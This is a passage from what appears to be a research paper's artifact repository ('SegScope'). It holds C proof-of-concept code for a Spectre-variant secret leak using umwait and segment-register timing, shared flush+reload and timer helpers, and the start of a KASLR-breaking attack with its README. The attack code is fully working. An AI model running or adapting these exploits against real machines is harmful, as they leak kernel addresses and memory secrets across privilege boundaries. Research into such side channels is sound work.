69 | volatile size_t cnt = 0, cnt_carry = 0, wait_write = 0, writes = 0;
70 |
71 | volatile int lbit = 0;
72 |
73 | void *leak_thread(void *dummy)
74 | {
75 | pin_to_core(CORE_ATTACKER);
76 | test[OFFSET] = 1;
77 | size_t target_addr = (size_t)(secret - (char *)array1);
78 | printf("Target: %zd\n", target_addr);
79 |
80 | while (1)
81 | {
82 | asm volatile("mfence");
83 | while (1)
84 | {
85 | while (wait_write)
86 | ;
87 | asm volatile("mfence");
88 | leakBit(lbit);
89 |
90 | writes++;
91 | wait_write = 1;
92 | asm volatile("mfence");
93 | }
94 | asm volatile("mfence");
95 | }
96 | }
97 |
98 | double channel_capacity(size_t C, double p)
99 | {
100 | return C *
101 | (1.0 + ((1.0 - p) * (log(1.0 - p) / log(2)) + p * (log(p) / log(2))));
102 | }
103 |
104 | int main(int argc, char *argv[])
105 | {
106 | pthread_t p;
107 | pthread_create(&p, NULL, leak_thread, NULL);
108 | sched_yield();
109 |
110 | pin_to_core(CORE_VICTIM);
111 |
112 | memset(test, 1, sizeof(test));
113 |
114 | int bits_leaked = 0, bits_correct = 0;
115 |
116 | int timeout = -1;
117 | if (argc > 1)
118 | timeout = atoi(argv[1]);
119 |
120 | int start = ftime(NULL);
121 | while (start == ftime(NULL))
122 | ;
123 | start = ftime(NULL);
124 | int last_delta = 0;
125 |
126 | while (1)
127 | {
128 | // sched_yield();
129 | asm volatile("umonitor %%rax" : : "a"(test + OFFSET), "c"(0), "d"(0));
130 | size_t carry = 0;
131 | wait_write = 0;
132 | asm volatile("xor %%rbx, %%rbx; umwait %%rcx; jnc 1f; inc %%rbx; 1: nop"
133 | : "=b"(carry)
134 | : "a"(-1), "d"(-1), "c"(0)
135 | : "memory");
136 | cnt_carry += carry;
137 | cnt++;
138 | while (!wait_write)
139 | ;
140 |
141 | if (cnt == 1)
142 | {
143 |
144 | bits_leaked++;
145 | if (!cnt_carry == secret[lbit])
146 | bits_correct++;
147 | int current = ftime(NULL);
148 | int delta = current - start;
149 | if (!delta)
150 | delta = 1;
151 |
152 | if (delta != last_delta)
153 | {
154 | int speed = bits_leaked / delta;
155 | double err = ((double)(bits_leaked - bits_correct) / bits_leaked);
156 | printf(
157 | "%.3f%% error [%d leaked, %d s -> %d bits/s] - TC: %.1f bits/s\n",
158 | err * 100.0, bits_leaked, delta, speed,
159 | channel_capacity(speed, err));
160 | fflush(stdout);
161 | last_delta = delta;
162 | timeout--;
163 | if (timeout == 0)
164 | {
165 | printf("%.3f,%d,%.1f\n", err * 100.0, speed,
166 | channel_capacity(speed, err));
167 | exit(0);
168 | }
169 | }
170 | cnt = 0;
171 | cnt_carry = 0;
172 | writes = 0;
173 | lbit = (lbit + 1) % (sizeof(secret) / sizeof(secret[0]));
174 | }
175 | }
176 |
177 | return 0;
178 | }
179 |
--------------------------------------------------------------------------------
/E2-Enhancing_Spectral/cacheutils.h:
--------------------------------------------------------------------------------
1 | #ifndef _CACHEUTILS_H_
2 | #define _CACHEUTILS_H_
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #define ARM_PERF 1
15 | #define ARM_CLOCK_MONOTONIC 2
16 | #define ARM_TIMER 3
17 |
18 | /* ============================================================
19 | * User configuration
20 | * ============================================================ */
21 | size_t CACHE_MISS = 150;
22 |
23 | #define USE_RDTSC_BEGIN_END 0
24 |
25 | #define USE_RDTSCP 1
26 |
27 | #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC
28 |
29 | /* ============================================================
30 | * User configuration End
31 | * ============================================================ */
32 |
33 |
34 | // ---------------------------------------------------------------------------
35 | static size_t perf_fd;
36 | void perf_init() {
37 | static struct perf_event_attr attr;
38 | attr.type = PERF_TYPE_HARDWARE;
39 | attr.config = PERF_COUNT_HW_CPU_CYCLES;
40 | attr.size = sizeof(attr);
41 | attr.exclude_kernel = 1;
42 | attr.exclude_hv = 1;
43 | #if !defined(__i386__)
44 | attr.exclude_callchain_kernel = 1;
45 | #endif
46 |
47 | perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0);
48 | assert(perf_fd >= 0);
49 |
50 | // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0);
51 | }
52 |
53 | #if defined(__x86_64__)
54 | // ---------------------------------------------------------------------------
55 | uint64_t rdtsc() {
56 | uint64_t a, d;
57 | asm volatile("mfence");
58 | #if USE_RDTSCP
59 | asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
60 | #else
61 | asm volatile("rdtsc" : "=a"(a), "=d"(d));
62 | #endif
63 | a = (d << 32) | a;
64 | asm volatile("mfence");
65 | return a;
66 | }
67 |
68 | // ---------------------------------------------------------------------------
69 | uint64_t rdtsc_begin() {
70 | uint64_t a, d;
71 | asm volatile ("mfence\n\t"
72 | "CPUID\n\t"
73 | "RDTSCP\n\t"
74 | "mov %%rdx, %0\n\t"
75 | "mov %%rax, %1\n\t"
76 | "mfence\n\t"
77 | : "=r" (d), "=r" (a)
78 | :
79 | : "%rax", "%rbx", "%rcx", "%rdx");
80 | a = (d<<32) | a;
81 | return a;
82 | }
83 |
84 | // ---------------------------------------------------------------------------
85 | uint64_t rdtsc_end() {
86 | uint64_t a, d;
87 | asm volatile("mfence\n\t"
88 | "RDTSCP\n\t"
89 | "mov %%rdx, %0\n\t"
90 | "mov %%rax, %1\n\t"
91 | "CPUID\n\t"
92 | "mfence\n\t"
93 | : "=r" (d), "=r" (a)
94 | :
95 | : "%rax", "%rbx", "%rcx", "%rdx");
96 | a = (d<<32) | a;
97 | return a;
98 | }
99 |
100 | // ---------------------------------------------------------------------------
101 | void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); }
102 |
103 | // ---------------------------------------------------------------------------
104 | void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }
105 |
106 | // ---------------------------------------------------------------------------
107 | void mfence() { asm volatile("mfence"); }
108 |
109 | // ---------------------------------------------------------------------------
110 | void nospec() { asm volatile("lfence"); }
111 |
112 | #include
113 | // ---------------------------------------------------------------------------
114 | unsigned int xbegin() {
115 | unsigned status;
116 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory");
117 | return status;
118 | }
119 |
120 | // ---------------------------------------------------------------------------
121 | void xend() {
122 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory");
123 | }
124 |
125 | // ---------------------------------------------------------------------------
126 | int has_tsx() {
127 | if (__get_cpuid_max(0, NULL) >= 7) {
128 | unsigned a, b, c, d;
129 | __cpuid_count(7, 0, a, b, c, d);
130 | return (b & (1 << 11)) ? 1 : 0;
131 | } else {
132 | return 0;
133 | }
134 | }
135 |
136 | // ---------------------------------------------------------------------------
137 | void maccess_tsx(void* ptr) {
138 | if (xbegin() == (~0u)) {
139 | maccess(ptr);
140 | xend();
141 | }
142 | }
143 |
144 | #define speculation_start(label) asm goto ("call %l0" : : : : label##_retp);
145 | #define speculation_end(label) asm goto("jmp %l0" : : : : label); label##_retp: asm goto("lea %l0(%%rip), %%rax\nmovq %%rax, (%%rsp)\nret\n" : : : "rax" : label); label: asm volatile("nop");
146 |
147 |
148 | #elif defined(__i386__)
149 | // ---------------------------------------------------------------------------
150 | uint32_t rdtsc() {
151 | uint32_t a, d;
152 | asm volatile("mfence");
153 | #if USE_RDTSCP
154 | asm volatile("rdtscp" : "=a"(a), "=d"(d));
155 | #else
156 | asm volatile("rdtsc" : "=a"(a), "=d"(d));
157 | #endif
158 | asm volatile("mfence");
159 | return a;
160 | }
161 |
162 | // ---------------------------------------------------------------------------
163 | void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p)); }
164 |
165 | // ---------------------------------------------------------------------------
166 | void maccess(void *p) { asm volatile("mov (%0), %%eax\n" : : "c"(p) : "eax"); }
167 |
168 | // ---------------------------------------------------------------------------
169 | void mfence() { asm volatile("mfence"); }
170 |
171 | // ---------------------------------------------------------------------------
172 | void nospec() { asm volatile("lfence"); }
173 |
174 | #include
175 | // ---------------------------------------------------------------------------
176 | int has_tsx() {
177 | if (__get_cpuid_max(0, NULL) >= 7) {
178 | unsigned a, b, c, d;
179 | __cpuid_count(7, 0, a, b, c, d);
180 | return (b & (1 << 11)) ? 1 : 0;
181 | } else {
182 | return 0;
183 | }
184 | }
185 |
186 | #elif defined(__aarch64__)
187 | #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC
188 | #include
189 | #endif
190 |
191 | // ---------------------------------------------------------------------------
192 | uint64_t rdtsc() {
193 | #if ARM_CLOCK_SOURCE == ARM_PERF
194 | long long result = 0;
195 |
196 | asm volatile("DSB SY");
197 | asm volatile("ISB");
198 |
199 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {
200 | return 0;
201 | }
202 |
203 | asm volatile("ISB");
204 | asm volatile("DSB SY");
205 |
206 | return result;
207 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC
208 | asm volatile("DSB SY");
209 | asm volatile("ISB");
210 | struct timespec t1;
211 | clock_gettime(CLOCK_MONOTONIC, &t1);
212 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;
213 | asm volatile("ISB");
214 | asm volatile("DSB SY");
215 | return res;
216 | #elif ARM_CLOCK_SOURCE == ARM_TIMER
217 | uint64_t result = 0;
218 |
219 | asm volatile("DSB SY");
220 | asm volatile("ISB");
221 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result));
222 | asm volatile("DSB SY");
223 | asm volatile("ISB");
224 |
225 | return result;
226 | #else
227 | #error Clock source not supported
228 | #endif
229 | }
230 | // ---------------------------------------------------------------------------
231 | uint64_t rdtsc_begin() {
232 | #if ARM_CLOCK_SOURCE == ARM_PERF
233 | long long result = 0;
234 |
235 | asm volatile("DSB SY");
236 | asm volatile("ISB");
237 |
238 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {
239 | return 0;
240 | }
241 |
242 | asm volatile("DSB SY");
243 |
244 | return result;
245 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC
246 | asm volatile("DSB SY");
247 | asm volatile("ISB");
248 | struct timespec t1;
249 | clock_gettime(CLOCK_MONOTONIC, &t1);
250 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;
251 | asm volatile("DSB SY");
252 | return res;
253 | #elif ARM_CLOCK_SOURCE == ARM_TIMER
254 | uint64_t result = 0;
255 |
256 | asm volatile("DSB SY");
257 | asm volatile("ISB");
258 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result));
259 | asm volatile("ISB");
260 |
261 | return result;
262 | #else
263 | #error Clock source not supported
264 | #endif
265 | }
266 |
267 |
268 | // ---------------------------------------------------------------------------
269 | uint64_t rdtsc_end() {
270 | #if ARM_CLOCK_SOURCE == ARM_PERF
271 | long long result = 0;
272 |
273 | asm volatile("DSB SY");
274 |
275 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {
276 | return 0;
277 | }
278 |
279 | asm volatile("ISB");
280 | asm volatile("DSB SY");
281 |
282 | return result;
283 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC
284 | asm volatile("DSB SY");
285 | struct timespec t1;
286 | clock_gettime(CLOCK_MONOTONIC, &t1);
287 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;
288 | asm volatile("ISB");
289 | asm volatile("DSB SY");
290 | return res;
291 | #elif ARM_CLOCK_SOURCE == ARM_TIMER
292 | uint64_t result = 0;
293 |
294 | asm volatile("DSB SY");
295 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result));
296 | asm volatile("DSB SY");
297 | asm volatile("ISB");
298 |
299 | return result;
300 | #else
301 | #error Clock source not supported
302 | #endif
303 | }
304 |
305 | // ---------------------------------------------------------------------------
306 | void flush(void *p) {
307 | asm volatile("DC CIVAC, %0" ::"r"(p));
308 | asm volatile("DSB ISH");
309 | asm volatile("ISB");
310 | }
311 |
312 | // ---------------------------------------------------------------------------
313 | void maccess(void *p) {
314 | volatile uint32_t value;
315 | asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p));
316 | asm volatile("DSB ISH");
317 | asm volatile("ISB");
318 | }
319 |
320 | // ---------------------------------------------------------------------------
321 | void mfence() { asm volatile("DSB ISH"); }
322 |
323 | // ---------------------------------------------------------------------------
324 | void nospec() { asm volatile("DSB SY\nISB"); }
325 |
326 | #elif defined(__PPC64__)
327 | #include
328 | uint64_t rdtsc() {
329 | uint64_t time;
330 | asm volatile ("mfspr %0, 268\n\t"
331 | "lwsync\n\t" : "=r" (time));
332 |
333 | return time;
334 | }
335 |
336 | // ---------------------------------------------------------------------------
337 | uint64_t rdtsc_begin() {
338 | uint64_t time;
339 | asm volatile ("mfspr %0, 268\n\t"
340 | "lwsync\n\t" : "=r" (time));
341 |
342 | return time;
343 | }
344 |
345 | // ---------------------------------------------------------------------------
346 | uint64_t rdtsc_end() {
347 | uint64_t time;
348 | asm volatile ("mfspr %0, 268\n\t"
349 | "lwsync\n\t" : "=r" (time));
350 |
351 | return time;
352 | }
353 |
354 | // ---------------------------------------------------------------------------
355 | void flush(void *p) { asm volatile( "dcbf 0, %0\n\t"
356 | "dcs\n\t"
357 | "ics\n\t"
358 | : : "r"(p) : ); }
359 |
360 | // ---------------------------------------------------------------------------
361 | void maccess(void *p) { asm volatile( "ld %%r0, 0(%0)" ::"r"(p): "r0"); }
362 |
363 | // ---------------------------------------------------------------------------
364 | void mfence() { asm volatile( "lwsync" ); }
365 |
366 | // ---------------------------------------------------------------------------
367 | void nospec() { asm volatile( "hwsync" ); }
368 | #endif
369 |
370 | // ---------------------------------------------------------------------------
371 | int flush_reload(void *ptr) {
372 | #if defined(__i386__)
373 | uint32_t start = 0, end = 0;
374 | #else
375 | uint64_t start = 0, end = 0;
376 | #endif
377 |
378 | #if USE_RDTSC_BEGIN_END
379 | start = rdtsc_begin();
380 | #else
381 | start = rdtsc();
382 | #endif
383 | maccess(ptr);
384 | #if USE_RDTSC_BEGIN_END
385 | end = rdtsc_end();
386 | #else
387 | end = rdtsc();
388 | #endif
389 |
390 | mfence();
391 |
392 | flush(ptr);
393 |
394 | if (end - start < CACHE_MISS) {
395 | return 1;
396 | }
397 | return 0;
398 | }
399 |
400 | // ---------------------------------------------------------------------------
401 | int flush_reload_t(void *ptr) {
402 | #if defined(__i386__)
403 | uint32_t start = 0, end = 0;
404 | #else
405 | uint64_t start = 0, end = 0;
406 | #endif
407 |
408 | #if USE_RDTSC_BEGIN_END
409 | start = rdtsc_begin();
410 | #else
411 | start = rdtsc();
412 | #endif
413 | maccess(ptr);
414 | #if USE_RDTSC_BEGIN_END
415 | end = rdtsc_end();
416 | #else
417 | end = rdtsc();
418 | #endif
419 |
420 | mfence();
421 |
422 | flush(ptr);
423 |
424 | return (int)(end - start);
425 | }
426 |
427 | // ---------------------------------------------------------------------------
428 | int reload_t(void *ptr) {
429 | #if defined(__i386__)
430 | uint32_t start = 0, end = 0;
431 | #else
432 | uint64_t start = 0, end = 0;
433 | #endif
434 |
435 | #if USE_RDTSC_BEGIN_END
436 | start = rdtsc_begin();
437 | #else
438 | start = rdtsc();
439 | #endif
440 | maccess(ptr);
441 | #if USE_RDTSC_BEGIN_END
442 | end = rdtsc_end();
443 | #else
444 | end = rdtsc();
445 | #endif
446 |
447 | mfence();
448 |
449 | return (int)(end - start);
450 | }
451 |
452 |
453 | // ---------------------------------------------------------------------------
454 | size_t detect_flush_reload_threshold() {
455 | size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
456 | size_t dummy[16];
457 | size_t *ptr = dummy + 8;
458 | #if defined(__i386__)
459 | uint32_t start = 0, end = 0;
460 | #else
461 | uint64_t start = 0, end = 0;
462 | #endif
463 |
464 | maccess(ptr);
465 | for (i = 0; i < count; i++) {
466 | reload_time += reload_t(ptr);
467 | }
468 | for (i = 0; i < count; i++) {
469 | flush_reload_time += flush_reload_t(ptr);
470 | }
471 | reload_time /= count;
472 | flush_reload_time /= count;
473 |
474 | return (flush_reload_time + reload_time * 2) / 3;
475 | }
476 |
477 | // ---------------------------------------------------------------------------
478 | void maccess_speculative(void* ptr) {
479 | int i;
480 | size_t dummy = 0;
481 | void* addr;
482 |
483 | for(i = 0; i < 50; i++) {
484 | size_t c = ((i * 167) + 13) & 1;
485 | addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c));
486 | flush(&c);
487 | mfence();
488 | if(c / 0.5 > 1.1) maccess(addr);
489 | }
490 | }
491 |
492 | // ---------------------------------------------------------------------------
493 | static jmp_buf trycatch_buf;
494 |
495 | // ---------------------------------------------------------------------------
496 | void unblock_signal(int signum __attribute__((__unused__))) {
497 | sigset_t sigs;
498 | sigemptyset(&sigs);
499 | sigaddset(&sigs, signum);
500 | sigprocmask(SIG_UNBLOCK, &sigs, NULL);
501 | }
502 |
503 | // ---------------------------------------------------------------------------
504 | void trycatch_segfault_handler(int signum) {
505 | (void)signum;
506 |
507 | int i;
508 | for(i = 1; i < 32; i++) {
509 | unblock_signal(i);
510 | }
511 | longjmp(trycatch_buf, 1);
512 | }
513 |
514 | // ---------------------------------------------------------------------------
515 | int try_start() {
516 | #if defined(__i386__) || defined(__x86_64__)
517 | if(has_tsx()) {
518 | unsigned status;
519 | // tsx begin
520 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00"
521 | : "=a"(status)
522 | : "a"(-1UL)
523 | : "memory");
524 | return status == (~0u);
525 | } else
526 | #endif
527 | {
528 | int i;
529 | for(i = 1; i < 32; i++) {
530 | signal(i, trycatch_segfault_handler);
531 | }
532 | return !setjmp(trycatch_buf);
533 | }
534 | }
535 |
536 | // ---------------------------------------------------------------------------
537 | void try_end() {
538 | #if defined(__i386__) || defined(__x86_64__)
539 | if(!has_tsx())
540 | #endif
541 | {
542 | int i;
543 | for(i = 1; i < 32; i++) {
544 | signal(i, SIG_DFL);
545 | }
546 | }
547 | }
548 |
549 | // ---------------------------------------------------------------------------
550 | void try_abort() {
551 | #if defined(__i386__) || defined(__x86_64__)
552 | if(has_tsx()) {
553 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory");
554 | } else
555 | #endif
556 | {
557 | maccess(0);
558 | }
559 | }
560 |
561 | #endif
562 |
563 |
564 | size_t get_physical_address(size_t vaddr) {
565 | int fd = open("/proc/self/pagemap", O_RDONLY);
566 | uint64_t virtual_addr = (uint64_t)vaddr;
567 | size_t value = 0;
568 | off_t offset = (virtual_addr / 4096) * sizeof(value);
569 | int got = pread(fd, &value, sizeof(value), offset);
570 | close(fd);
571 | return (value << 12) | ((size_t)vaddr & 0xFFFULL);
572 | }
573 |
574 |
--------------------------------------------------------------------------------
/E2-Enhancing_Spectral/main:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E2-Enhancing_Spectral/main
--------------------------------------------------------------------------------
/E2-Enhancing_Spectral/main.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #include
3 | #include
4 |
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include "cacheutils.h"
15 |
16 | #define CORE_VICTIM 3
17 | #define CORE_ATTACKER 2
18 |
19 | #define OFFSET (4096)
20 |
21 | // #define mytime(x) (rdtsc())
22 | #define ftime time
23 |
24 | void prepare()
25 | {
26 | uint16_t value = 1;
27 | __asm__ volatile("mov %0, %%gs" : : "r"(value));
28 | }
29 |
30 | uint16_t check()
31 | {
32 | uint16_t value;
33 | __asm__ volatile("mov %%gs, %0" : "=r"(value));
34 | return value;
35 | }
36 |
37 | unsigned long long reth1;
38 | unsigned long long retl0;
39 |
40 | unsigned long long mytime()
41 | {
42 | __asm__ __volatile__(
43 | "rdtsc" : "=d"(reth1),
44 | "=a"(retl0));
45 | return ((reth1 << 32) | (retl0));
46 | }
47 | volatile int running = 1;
48 |
49 | volatile unsigned int array1_size = 16;
50 | uint8_t __attribute__((aligned(4096))) array1[160] = {
51 | 2,
52 | 2,
53 | };
54 | __attribute__((aligned(4096))) char test[4096 * 256];
55 |
56 | volatile uint8_t temp = 0;
57 |
58 | char secret[] = {0, 1, 1, 0, 0, 1, 0, 1};
59 |
60 | void __attribute__((noinline)) victim_function(size_t x)
61 | {
62 | if (x < array1_size)
63 | {
64 | temp &= test[array1[x] * 4096];
65 | }
66 | }
67 |
68 | void leakBit(size_t target_addr)
69 | {
70 | int tries = 0, i, j, k, mix_i;
71 | size_t training_x, x;
72 | /* 16 loops: 5 training runs (x=training_x) per attack run (x=target_addr) */
73 | training_x = 0; // tries % array1_size;
74 | for (j = 17; j >= 0; j--)
75 | {
76 | flush((unsigned int *)&array1_size);
77 | asm volatile("mfence");
78 |
79 | x = ((j % 6) - 1) & ~0xFFFF;
80 | x = (x | (x >> 16));
81 | x = training_x ^ (x & (target_addr ^ training_x));
82 |
83 | asm volatile("mfence");
84 |
85 | victim_function(x);
86 | }
87 | }
88 |
89 | void pin_to_core(int core)
90 | {
91 | cpu_set_t cpuset;
92 | pthread_t thread;
93 |
94 | thread = pthread_self();
95 |
96 | CPU_ZERO(&cpuset);
97 | CPU_SET(core, &cpuset);
98 |
99 | pthread_setaffinity_np(thread, sizeof(cpu_set_t), &cpuset);
100 | }
101 |
102 | volatile char waiting = 0;
103 | volatile size_t cnt = 0, cnt_carry = 0, wait_write = 0, writes = 0;
104 |
105 | volatile int lbit = 0;
106 |
107 | void *leak_thread(void *dummy)
108 | {
109 | pin_to_core(CORE_ATTACKER);
110 | test[OFFSET] = 1;
111 | size_t target_addr = (size_t)(secret - (char *)array1);
112 |
113 | while (1)
114 | {
115 | asm volatile("mfence");
116 | while (1)
117 | {
118 | while (wait_write)
119 | ;
120 |
121 | leakBit(target_addr + lbit);
122 | writes++;
123 | wait_write = 1;
124 | asm volatile("mfence");
125 | }
126 | asm volatile("mfence");
127 | }
128 | }
129 |
130 | double channel_capacity(size_t C, double p)
131 | {
132 | return C *
133 | (1.0 + ((1.0 - p) * (log(1.0 - p) / log(2)) + p * (log(p) / log(2))));
134 | }
135 |
136 | int main(int argc, char *argv[])
137 | {
138 | pthread_t p;
139 | pthread_create(&p, NULL, leak_thread, NULL);
140 | sched_yield();
141 |
142 | pin_to_core(CORE_VICTIM);
143 |
144 | memset(test, 1, sizeof(test));
145 |
146 | int bits_leaked = 0, bits_correct = 0, seg = 0, inter = 0, inter_err = 0;
147 |
148 | int timeout = -1;
149 | if (argc > 1)
150 | timeout = atoi(argv[1]);
151 |
152 | int start = ftime(NULL);
153 | while (start == ftime(NULL))
154 | ;
155 | start = ftime(NULL);
156 | int last_delta = 0;
157 |
158 | while (1)
159 | {
160 | prepare();
161 | for (int i = 0; i < 2; i++)
162 | {
163 | flush(&test[i * OFFSET]);
164 | }
165 | asm volatile("umonitor %%rax" : : "a"(test + OFFSET * 1), "c"(0), "d"(0));
166 | size_t carry = 0;
167 | wait_write = 0;
168 | asm volatile("xor %%rbx, %%rbx; umwait %%rcx; jnc 1f; inc %%rbx; 1: nop"
169 | : "=b"(carry)
170 | : "a"(-1), "d"(-1), "c"(0)
171 | : "memory");
172 | cnt_carry += carry;
173 | cnt++;
174 | seg = check();
175 | while (!wait_write)
176 | ;
177 |
178 | if (cnt == 1)
179 | {
180 | if (seg == 0)
181 | {
182 | inter++;
183 | }
184 | if (seg == 0 & cnt_carry == secret[lbit])
185 | {
186 | inter_err++;
187 | }
188 | bits_leaked++;
189 | if (!cnt_carry == secret[lbit])
190 | bits_correct++;
191 | int current = ftime(NULL);
192 | int delta = current - start;
193 | if (!delta)
194 | delta = 1;
195 |
196 | if (delta != last_delta)
197 | {
198 | int speed = bits_leaked / delta;
199 | double err = ((double)(bits_leaked - bits_correct) / bits_leaked);
200 | double err2 = ((double)(bits_leaked - inter_err - bits_correct) / (bits_leaked - inter));
201 | printf(
202 | "%.3f%% error [%d leaked, %d s -> %d bits/s] - TC: %.1f bits/s\n",
203 | err * 100.0, bits_leaked, delta, speed,
204 | channel_capacity(speed, err));
205 | fflush(stdout);
206 | last_delta = delta;
207 | timeout--;
208 | if (timeout == 0)
209 | {
210 | printf("%.3f,%d,%.1f,irq=%d\n,after_filter:%.3f\n", err * 100.0, speed,
211 | channel_capacity(speed, err), inter, err2 * 100);
212 | exit(0);
213 | }
214 | }
215 | cnt = 0;
216 | cnt_carry = 0;
217 | writes = 0;
218 | lbit = (lbit + 1) % (sizeof(secret) / sizeof(secret[0]));
219 | }
220 | }
221 |
222 | return 0;
223 | }
224 |
--------------------------------------------------------------------------------
/E2-Enhancing_Spectral/test.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | rm -f log.txt log.csv
4 | touch log.txt log.csv
5 | for to in $(seq 20000 1000 200000);
6 | do
7 | echo $to
8 | echo ": $to" >> log.txt
9 | sudo wrmsr -a 0xe1 $(printf "0x%x" $to)
10 | ./main 3 | tee res.txt
11 | cat res.txt >> log.txt
12 | echo $to,$(tail -1 res.txt) >> log.csv
13 | done
14 | sudo wrmsr -a 0xe1 0x186a0
15 |
--------------------------------------------------------------------------------
/E3-Breaking_KASLR/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc main.c -lpthread -lm -o main -O3
3 | gcc timer.c -lpthread -lm -o timer
4 | clean:
5 | rm -f main timer
6 |
--------------------------------------------------------------------------------
/E3-Breaking_KASLR/README.md:
--------------------------------------------------------------------------------
1 | # Breaking KASLR with SegScope-based Timer
2 |
3 | Uses SegScope-based timer to perform a realistic timing side channel attack, which derandomizes KASLR.
4 |
5 | Build our code
6 | ```
7 | make
8 | ```
9 |
10 | Run our timer. It outputs the granularity and stability. In our paper, the granularity refers to the cost of CPU cycles for one increment of a counter. The stability is the degree to which our timer is affected by system noise. You can see our timer achieves the same granularity with rdtsc/rdpru.
11 |
12 | Updated on 2024/12/24: please note that you may need to configure the two parameters to ontain correct results. (#define ACYCLE 1000 and #define PCYCLE 400000)
13 |
14 | ```
15 | ./timer
16 | ```
17 |
18 | Run our prefetch-based attack for 10 times. The program outputs the top-5 guess results. The measurements for all the 512 possible offsets are shown in `result-512`.
19 | ```
20 | ./main 10 p
21 | ```
22 |
23 | You can also perform access-based attack with our timer. Segment faults that will be incurred are dealt with by a pre-defined userspace handler.
24 | ```
25 | ./main 10 a
26 | ```
27 |
28 | The ground truth can be accessed by privileged commonds. For multiple boots, the result of side channel attack should always be equal to the output value, or differ by a constant value.
29 | ```
30 | sudo cat /proc/kallsyms | grep _text | head -1
31 | ```
32 |
33 |
--------------------------------------------------------------------------------
/E3-Breaking_KASLR/main.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | #define ACYCLE 1000
17 | #define PCYCLE 400000 // depends on your CPU
18 |
19 | int inter_count[512][10001], prefetch_flag = 1;
20 | double score[512] = {0}, standard[512] = {0}, var[512] = {0}, valid_count[512] = {0}, valid[512] = {0};
21 |
22 | extern char stopspeculate[];
23 |
24 | void prepare()
25 | {
26 | uint16_t value = 1; // non-zero null segment selector value: 1, 2, or 3
27 | __asm__ volatile("mov %0, %%gs" : : "r"(value));
28 | }
29 |
30 | uint16_t check()
31 | {
32 | uint16_t value;
33 | __asm__ volatile("mov %%gs, %0" : "=r"(value));
34 | return value;
35 | }
36 |
37 | int cycles;
38 |
39 | // read 512 possible slot, base address is 0x808000000
40 | int read_addr(int cycles)
41 | {
42 | int i, j, ret = 0, max = -1, maxi = -1, count;
43 | unsigned long addr;
44 | int base = 0x80800000;
45 |
46 | // get the start of the time slice
47 | while (check() == 1)
48 | ;
49 |
50 | for (i = 0; i < cycles; i++)
51 | {
52 | for (j = 0; j < 512; j++)
53 | {
54 | addr = 1024 * 1024 * 2 * j + base;
55 | count = 0;
56 |
57 | // create k segmentation fault before count
58 | if (prefetch_flag == 0)
59 | {
60 | for (int k = 0; k < ACYCLE; k++)
61 | {
62 | asm volatile(
63 | "movzx (%[addr]), %%eax\n\t"
64 | "stopspeculate: \n\t"
65 | :
66 | :
67 | [addr] "r"(addr));
68 | }
69 | }
70 |
71 | // prefetch does not cause segment fault.
72 | else
73 | {
74 | for (int k = 0; k < PCYCLE; k++)
75 | {
76 | _m_prefetchw(addr);
77 | }
78 | }
79 | // use the remaining time slice to count
80 | prepare();
81 | while (check() == 1)
82 | {
83 | ++count;
84 | }
85 | inter_count[j][i] = count;
86 | }
87 | }
88 |
89 | return 0;
90 | }
91 |
92 | static char *progname;
93 | int usage(void)
94 | {
95 | printf("%s: [cycles] [a/p]\n", progname);
96 | printf("a means directly access, while p means prefetch. We use prefetch instruction by default\n");
97 | return 1;
98 | }
99 |
100 | static void pin_cpu3()
101 | {
102 | cpu_set_t mask;
103 |
104 | /* PIN to CPU3 */
105 | CPU_ZERO(&mask);
106 | CPU_SET(3, &mask); // select Core 3
107 | sched_setaffinity(0, sizeof(cpu_set_t), &mask);
108 | }
109 |
110 | // filt the abnormal value, just for denoising.
111 |
112 | int filter(int i)
113 | {
114 | int min, tar;
115 | int flag = 0;
116 | valid[i] = 0;
117 | score[i] = 0;
118 | var[i] = 0;
119 | for (int j = 0; j < cycles; j++)
120 | {
121 | if (inter_count[i][j] != 0)
122 | {
123 | valid[i]++;
124 | }
125 | score[i] += ((double)inter_count[i][j]);
